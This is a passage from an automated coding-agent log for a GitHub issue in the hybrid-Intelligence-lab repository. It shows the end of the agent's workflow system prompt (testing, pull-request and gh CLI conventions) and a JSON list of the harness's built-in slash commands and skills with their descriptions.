Gists (especially private ones), use gh gist view command instead of direct URL fetching to ensure proper authentication.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you are fixing a bug, find the actual root cause first and run as many experiments as needed.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you are fixing a bug and the code does not have enough tracing or logs, add them and keep them in the code with the default state switched off.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need comments on a pull request, note that GitHub has three different comment types with different API endpoints:\n[2026-09-29T07:43:28.438Z] [INFO]       1. PR review comments (inline code comments): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/comments --paginate\n[2026-09-29T07:43:28.438Z] [INFO]       2. PR conversation comments (general discussion): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/648/comments --paginate\n[2026-09-29T07:43:28.438Z] [INFO]       3. PR reviews (approve/request changes): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/reviews --paginate\n[2026-09-29T07:43:28.438Z] [INFO]       Note: The command \"gh pr view --json comments\" only returns conversation comments and misses review comments.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need the latest comments on the issue, use gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/646/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Solution development and testing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When issue is solvable, first create a test that reproduces the problem, then implement the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When implementing features, search for similar existing implementations in the codebase and use them as examples instead of implementing everything from scratch.\n[2026-09-29T07:43:28.438Z] [INFO]    - When coding, commit each atomic step that is useful on its own to the pull request branch so interrupted work remains preserved in the pull request.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test:\n[2026-09-29T07:43:28.438Z] [INFO]       start from testing of small functions using separate scripts;\n[2026-09-29T07:43:28.438Z] [INFO]       write unit tests with mocks for easy and quick start.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test integrations, use existing framework.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test solution draft, include automated checks in pr.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you write or modify tests, consider setting reasonable timeouts at test, suite, and CI job levels so failures surface quickly instead of hanging.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you see repeated test timeout patterns in CI, investigate the root cause rather than increasing timeouts.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the issue is unclear, write a comment on the issue with questions.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you encounter problems that you cannot solve yourself and need human help, write a comment on the pull request asking for help.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need human help, use gh pr comment 648 --body \"your message\" to comment on existing PR.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Reproducible testing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fixing a bug, create a test that reproduces the problem before implementing the fix. When you cannot reproduce the problem, you cannot verify the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When encountering logic bugs, write an automated test that fails due to the bug, then implement the fix to make it pass.\n[2026-09-29T07:43:28.438Z] [INFO]    - When encountering UI bugs, capture a screenshot showing the problem state, then create a visual regression test or manual verification screenshot after the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When creating tests, prefer minimum reproducible examples, meaning the simplest test case that demonstrates the issue.\n[2026-09-29T07:43:28.438Z] [INFO]    - When submitting a fix, include in the PR description: (1) how to reproduce the issue, (2) the automated test that verifies the fix, (3) before/after screenshots for UI issues.\n[2026-09-29T07:43:28.438Z] [INFO]    - When a bug fix does not have a reproducing test, treat the fix as incomplete because regressions can occur later without notice.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Preparing pull request.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you code, follow contributing guidelines.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you commit, write clear message.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need examples of style, use gh pr list --repo G-Ivan-A/hybrid-Intelligence-lab --state merged --search [keywords].\n[2026-09-29T07:43:28.438Z] [INFO]    - When you open pr, describe solution draft and include tests.\n[2026-09-29T07:43:28.438Z] [INFO]    - When there is a package with version and GitHub Actions workflows for automatic release, update the version (or other necessary release trigger) in your pull request to prepare for next release.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you update existing pr 648, use gh pr edit to modify title and description.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you are about to commit or push code, run local CI checks first if they are available in contributing guidelines (like ruff check, mypy, eslint, etc.) to catch errors before pushing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finalize the pull request:\n[2026-09-29T07:43:28.438Z] [INFO]       follow style from merged prs for code, title, and description,\n[2026-09-29T07:43:28.438Z] [INFO]       check that no uncommitted changes corresponding to the original requirements are left behind,\n[2026-09-29T07:43:28.438Z] [INFO]       check that the default branch is merged into the pull request branch,\n[2026-09-29T07:43:28.438Z] [INFO]       check that all CI checks are passing if they exist before you finish,\n[2026-09-29T07:43:28.438Z] [INFO]       check for latest comments on the issue and pull request to ensure no recent feedback was missed,\n[2026-09-29T07:43:28.438Z] [INFO]       double-check that all changes in the pull request address the original requirements of the issue,\n[2026-09-29T07:43:28.438Z] [INFO]       check for newly introduced bugs in the pull request by carefully reading gh pr diff,\n[2026-09-29T07:43:28.438Z] [INFO]       check that no previously existing features were removed without an explicit request in the issue description, issue comments, or pull request comments.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finish implementation, use gh pr ready 648.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Workflow and collaboration.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you check branch, verify with git branch --show-current.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you push, push only to branch issue-646-497e337ac092.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finish, create a pull request from branch issue-646-497e337ac092. (Note: PR 648 already exists, update it instead)\n[2026-09-29T07:43:28.438Z] [INFO]    - When you organize workflow, use pull requests instead of direct merges to default branch (main or master).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you manage commits, preserve commit history for later analysis.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you contribute, keep repository history forward-moving with regular commits, pushes, and reverts if needed.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you face conflict that you cannot resolve yourself, ask for help.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you collaborate, respect branch protections by working only on issue-646-497e337ac092.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you mention a result, include the pull request URL or comment URL.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to create pr, remember pr 648 already exists for this branch.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Self review.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you check your solution draft, run all tests locally.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you check your solution draft, verify git status shows a clean working tree with no uncommitted changes.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you compare with repo style, use gh pr diff [number].\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finalize, confirm code, tests, and description are consistent.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] GitHub CLI command patterns.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fetching lists from GitHub API, use the --paginate flag to ensure all results are returned (GitHub returns max 30 per page by default).\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing PR review comments (inline code comments), use gh api repos/OWNER/REPO/pulls/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing PR conversation comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing PR reviews, use gh api repos/OWNER/REPO/pulls/NUMBER/reviews --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing issue comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When adding PR comment, use gh pr comment NUMBER --body \"text\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.438Z] [INFO]    - When adding issue comment, use gh issue comment NUMBER --body \"text\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.438Z] [INFO]    - When viewing PR details, use gh pr view NUMBER --repo OWNER/REPO.\n[2026-09-29T07:43:28.438Z] [INFO]    - When filtering with jq, use gh api repos/${owner}/${repo}/pulls/${prNumber}/comments --paginate --jq 'reverse | .[0:5]'.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Playwright MCP usage (browser automation via mcp__playwright__* tools).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you develop frontend web applications (HTML, CSS, JavaScript, React, Vue, Angular, etc.), use Playwright MCP tools to test the UI in a real browser.\n[2026-09-29T07:43:28.438Z] [INFO]    - When WebFetch tool fails to retrieve expected content (e.g., returns empty content, JavaScript-rendered pages, or login-protected pages), use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for web browsing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When WebSearch tool fails or returns insufficient results, use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for internet search.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to interact with dynamic web pages that require JavaScript execution, use Playwright MCP tools.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to visually verify how a web page looks or take screenshots, use browser_take_screenshot from Playwright MCP.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to fill forms, click buttons, or perform user interactions on web pages, use Playwright MCP tools (browser_click, browser_type, browser_fill_form).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to test responsive design or different viewport sizes, use browser_resize from Playwright MCP.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finish using the browser, close it with browser_close to free resources.\n[2026-09-29T07:43:28.438Z] [INFO]    - When reproducing UI bugs, use browser_take_screenshot to capture the problem state before implementing any fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fixing UI bugs, take before/after screenshots to provide visual evidence of the fix for human verification.\n[2026-09-29T07:43:28.438Z] [INFO]    - When creating UI tests, save baseline screenshots to the repository for visual regression testing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When verifying UI fixes, compare screenshots to ensure the fix does not introduce unintended visual changes.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Visual UI work and screenshots.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you work on visual UI changes (frontend, CSS, HTML, design), include a render or screenshot of the final result in the pull request description.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to show visual results, take a screenshot and save it to the repository (e.g., in a docs/screenshots/ or assets/ folder).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you save screenshots to the repository, use permanent links in the pull request description markdown (e.g., https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/docs/screenshots/result.png?raw=true).\n[2026-09-29T07:43:28.438Z] [INFO]    - When uploading images, commit them to the branch first, then reference them using the GitHub blob URL format with ?raw=true suffix (works for both public and private repositories).\n[2026-09-29T07:43:28.438Z] [INFO]    - When the visual result is important for review, mention it explicitly in the pull request description with the embedded image.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fixing UI bugs, capture both the \"before\" (problem) and \"after\" (fixed) screenshots as evidence for human verification.\n[2026-09-29T07:43:28.438Z] [INFO]    - When reporting UI bugs, include a screenshot of the problem state to enable visual verification of the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the fix is visual, include side-by-side or sequential comparison of before/after states in the PR description.\n[2026-09-29T07:43:28.438Z] [INFO]    - When possible, create automated visual regression tests to prevent the UI bug from recurring.\n[2026-09-29T07:43:28.438Z] [INFO] ---END SYSTEM PROMPT---\n[2026-09-29T07:43:28.453Z] [INFO] \ud83d\udcca CLAUDE_CODE_MAX_OUTPUT_TOKENS: 128000, MCP_TIMEOUT: 900000ms, MCP_TOOL_TIMEOUT: 900000ms, ANTHROPIC_LOG: debug\n[2026-09-29T07:43:28.458Z] [INFO] \ud83d\udcca CLAUDE_CODE_EFFORT_LEVEL: high\n[2026-09-29T07:43:28.461Z] [INFO] \ud83d\udcca CLAUDE_CODE_DISABLE_1M_CONTEXT=1, CLAUDE_CODE_AUTO_COMPACT_WINDOW=150000, CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=95\n[2026-09-29T07:43:28.464Z] [INFO] \ud83d\udcca Thinking level (via keywords): high\n[2026-09-29T07:43:28.467Z] [INFO] \ud83d\udcca Claude --fallback-model: claude-opus-4-8 (Issue #1949 \u2014 primary --model opus stays stable across overload retries)\n[2026-09-29T07:43:28.470Z] [INFO] \ud83d\udccb Command details:          \n[2026-09-29T07:43:28.474Z] [INFO]   \ud83d\udcc2 Working directory:      /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.476Z] [INFO]   \ud83c\udf3f Branch:                 issue-646-497e337ac092\n[2026-09-29T07:43:28.478Z] [INFO]   \ud83e\udd16 Model:                  Claude OPUS\n[2026-09-29T07:43:28.480Z] [INFO] \n[2026-09-29T07:43:28.480Z] [INFO] \u25b6\ufe0f Streaming output:         \n[2026-09-29T07:43:28.480Z] [INFO] \n[2026-09-29T07:43:30.244Z] [INFO] {\n[2026-09-29T07:43:30.244Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:30.244Z] [INFO]   \"subtype\": \"commands_changed\",\n[2026-09-29T07:43:30.244Z] [INFO]   \"commands\": [\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"deep-research\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Deep research harness \u2014 fan-out web searches, fetch sources, adversarially verify claims, synthesize a cited report. (dynamic workflow)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Grant or revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"consent | revoke\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design-sync\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Push a React design system to claude.ai/design. This runs a converter that bundles the real component code (from Storybook or a bare package) and uploads it. Use when the user runs /design-sync or says \\\"sync my design system to Claude Design\\\".\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"dataviz\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill whenever you are about to create ANY chart, graph, plot, dashboard, or data visualization, in ANY output medium \u2014 an HTML or React artifact, inline SVG, plotting code in any library (matplotlib, plotly, d3, Recharts, \u2026), an image/PNG you will render and upload, or a chart shared into Slack. Read it BEFORE writing the first line of chart code, choosing chart colors, building a stat tile / meter / KPI row, or laying out a dashboard. When the destination is a first-party document connector (host-designated, never self-described) that renders live charts, hand it the rows (inline, or as an uploaded data file the chart cites) rather than a rendered PNG/SVG \u2014 a picture of a chart loses hover, data inspection and per-value comments. Produces visualizations that read as one system \u2014 elegant, accessible, consistent in light and dark \u2014 using a brand-neutral placeholder palette you swap for your own. Teaches a design-system-agnostic method: a form heuristic, a color formula with a runnable validator, mark specs, and interaction rules. A validated default palette is documented in `references/palette.md` \u2014 swap that file's values for your brand's. Triggers on: \\\"chart\\\", \\\"graph\\\", \\\"plot\\\", \\\"data viz\\\", \\\"visualization\\\", \\\"dashboard\\\", \\\"analytics\\\", \\\"visualize data\\\", \\\"categorical colors\\\", \\\"sequential / diverging palette\\\", \\\"stat tile\\\", \\\"sparkline\\\", \\\"heatmap\\\", \\\"legend\\\", \\\"axis\\\", \\\"tooltip\\\", \\\"chart colors\\\", \\\"color by series\\\".\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"update-config\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill to configure the Claude Code harness via settings.json. Automated behaviors (\\\"from now on when X\\\", \\\"each time X\\\", \\\"whenever X\\\", \\\"before/after X\\\") require hooks configured in settings.json - the harness executes these, not Claude, so memory/preferences cannot fulfill them. Also use for: permissions (\\\"allow X\\\", \\\"add permission\\\", \\\"move permission to\\\"), env vars (\\\"set X=Y\\\"), hook troubleshooting, or any changes to settings.json/settings.local.json files. Examples: \\\"allow npm commands\\\", \\\"add bq permission to global settings\\\", \\\"move permission to user settings\\\", \\\"set DEBUG=true\\\", \\\"when claude stops show X\\\". For simple settings like theme/model, suggest the /config command.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"verify\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Verify that a code change actually does what it's supposed to by exercising it end-to-end and observing behavior \u2014 drive the affected flow, not just tests or typecheck. Run before committing nontrivial changes; bootstraps this repo's project verify skill if none exists yet. Don't invoke it on a diff that only touches tests, docs, or other code with no runtime surface to drive (a change to product source always has one) \u2014 there's nothing to observe.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"debug\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Enable debug logging for this session and help diagnose issues\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[issue description]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"code-review\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Review the current diff, or a PR number/branch/path target, for correctness bugs (plus reuse/simplification/efficiency cleanups where the model's review recipe covers them) at the given effort level (low/medium: fewer, high-confidence findings; high\u2192max: broader coverage, may include uncertain findings; ultra: deep multi-agent review in the cloud); with no level given, it reuses the level you typed last. Pass --comment to post findings as inline PR comments, or --fix to apply the findings to the working tree after the review. For ultra on a GitHub.com PR target, --post asks to post the finished review\u2019s findings to the PR as a single comment from the user\u2019s GitHub account (not a review; the launch dialog still confirms in interactive sessions, while non-interactive mode posts on the flag alone) and --no-post hides that option.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[low|medium|high|xhigh|max|ultra] [--fix] [--comment] [||]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"review\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"simplify\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Review the changed code for reuse, simplification, efficiency, and altitude cleanups, then apply the fixes. Quality only \u2014 it does not hunt for bugs; use /code-review for that.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"batch\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Research and plan a large-scale change, then execute it in parallel across 5\u201330 isolated worktree agents that each open a PR.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"fewer-permission-prompts\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Scan your transcripts for common read-only Bash and MCP tool calls, then add a prioritized allowlist to project .claude/settings.json to reduce permission prompts.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"doctor\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Health-check the user's Claude Code setup and fix issues: diagnose installation health \u2014 what the `claude doctor` terminal diagnostics cover \u2014 from local data (duplicate or leftover installs, PATH, unparseable settings files, broken or colliding agent definitions, skills whose frontmatter fails to parse); find unused skills, MCP servers, and plugins versus their context cost and disable dead weight; deduplicate local CLAUDE.md files against checked-in ones; trim checked-in CLAUDE.md files by cutting content a session could derive from the codebase (directory layouts, tech-stack lists, architecture overviews) while keeping gotchas, rationale, and non-standard conventions; migrate always-loaded CLAUDE.md guidance into lazy skills and nested CLAUDE.md files; flag slow hooks and context-heavy extensions; check the installed version is current; make auto mode the default permission mode; and pre-approve frequently denied read-only commands. Use when the user asks for a doctor run, checkup, audit, tune-up, or cleanup of their Claude Code setup or configuration.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[prompt-audit []]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"checkup\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"docs\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"docs (living docs people share, comment on and edit; use only when the user asks for one: names a doc, document, page, memo, spec, PRD, runbook or write-up, asks for somewhere to share or keep editing something, or says yes to your doc offer; a plan, comparison, summary or notes asked in chat stays in chat (at most a one-line doc offer); a report, status update, recap or \\\"something I can send them\\\" with no form named \u2192 ask first: reply, doc or file?; tabs hold tables and live charts too; a pasted claude.ai/code/artifact/\u2026 link may be a doc: check with docs tools first; not HTML pages, apps or plain chat answers; a .docx/.pptx/.xlsx/PDF asked for by name \u2192 that format's skill): asked for one \u2192 no docs-connector instructions in context? call the docs connector's `guide` with topic.instructions first, then create the doc (headings only, no body) before any search, file read or plan, even with files attached. Documenting code means docstrings or repo docs, not a doc. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:docs\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"google-workspace\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this before the first Google Drive, Docs, Sheets or Slides connector call whenever the task creates or changes a Google file. Use this skill whenever the user wants to create or change a Google Doc, Sheet or Slides file in their Google Drive. Triggers include: a request that names Google Docs, Sheets, Slides or Drive and asks to make, edit, format, copy or rename a file; a docs.google.com link with a request to change that file, even a one-line fix or suggested edits; and any follow-up change to a Google file from earlier in the chat, even \\\"change it\\\" or \\\"add a tab\\\". Includes helper scripts for document positions, cell ranges and slide layout. However, if the user asks for a doc, deck or spreadsheet without naming Google, or gives a Google file only as source material for something new, use Claude's own output type instead. Do NOT use for read-only questions about a Google file, or for Word, Excel, PowerPoint or PDF files. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:google-workspace\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"computer-use\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this skill before the first step of any request to do something in an app on the person's own computer (Notes, Finder, System Settings, any desktop app), to look at their screen, or for \\\"computer use\\\". Computer use (desktop control) lets Claude take screenshots of the person's desktop and control it with clicks, typing and scrolling through the Claude desktop app; its tools are named mcp__computer-use__* when the session runs in the desktop app and mcp__remote-devices__computer_* when a cloud session is linked to the person's computer; before computer use is turned on for a conversation there may be no such tools, only an enable__mcp__remote-devices__computer tool, which turns it on. It covers turning it on, picking the right tool, the access flow, and the safety rules for tiered apps, links and financial actions. It is not for websites, which go through Claude in Chrome or the built-in browser and their own skills. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:computer-use\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"chrome-browser\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this skill before the first step that uses Claude in Chrome, the browser extension whose tools are named mcp__claude-in-chrome__* (also called Chrome, the browser extension, or the external browser) and which acts in the person's real Chrome with their own sign-ins; before those tools are turned on there may be a single enable__mcp__claude-in-chrome tool instead. It covers loading the tools in one ToolSearch call, checking the person's open tabs and working in a new tab, site permissions, GIF recordings, console logs, dialogs to avoid, and when to stop and ask. It is not for the built-in browser (mcp__Claude_Browser__* or mcp__remote-devices__Claude_Browser__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:chrome-browser\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"built-in-browser\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this skill before the first step that uses the built-in browser, the browser pane inside the Claude desktop app (also called the in-app browser, the browser pane, Claude's browser, or \\\"your own browser\\\"), whose tools are named mcp__Claude_Browser__* when the session runs in the desktop app and mcp__remote-devices__Claude_Browser__* when a cloud session is linked to the person's computer; before those tools are turned on there may be a single enable__mcp__remote-devices__Claude_Browser tool instead. It covers the pane's persistent sign-ins, tabs and preview_start, reading pages as text, site approvals, what the pane cannot open, and what to do when it cannot be reached. It is not for Claude in Chrome (mcp__claude-in-chrome__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:built-in-browser\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"anthropic-skills:deep-research\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill when the user's prompt requires (1) researching a topic across multiple sources, comparing options or alternatives, analyzing trends or history, understanding markets or industries, or reviewing literature or studies and (2) synthesizing that research into a comprehensive, narrative report. If you're planning to search the web or internal knowledge bases, consider using this skill. This skill coordinates research subagents, so use it only when you have a tool for spawning subagents (the Agent or Task tool); otherwise, research the question directly. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\"\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"import-memory\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Import a memory export from another AI assistant into Claude's memory \u2014 conversationally, additively, and with the content treated as data. (claude.ai 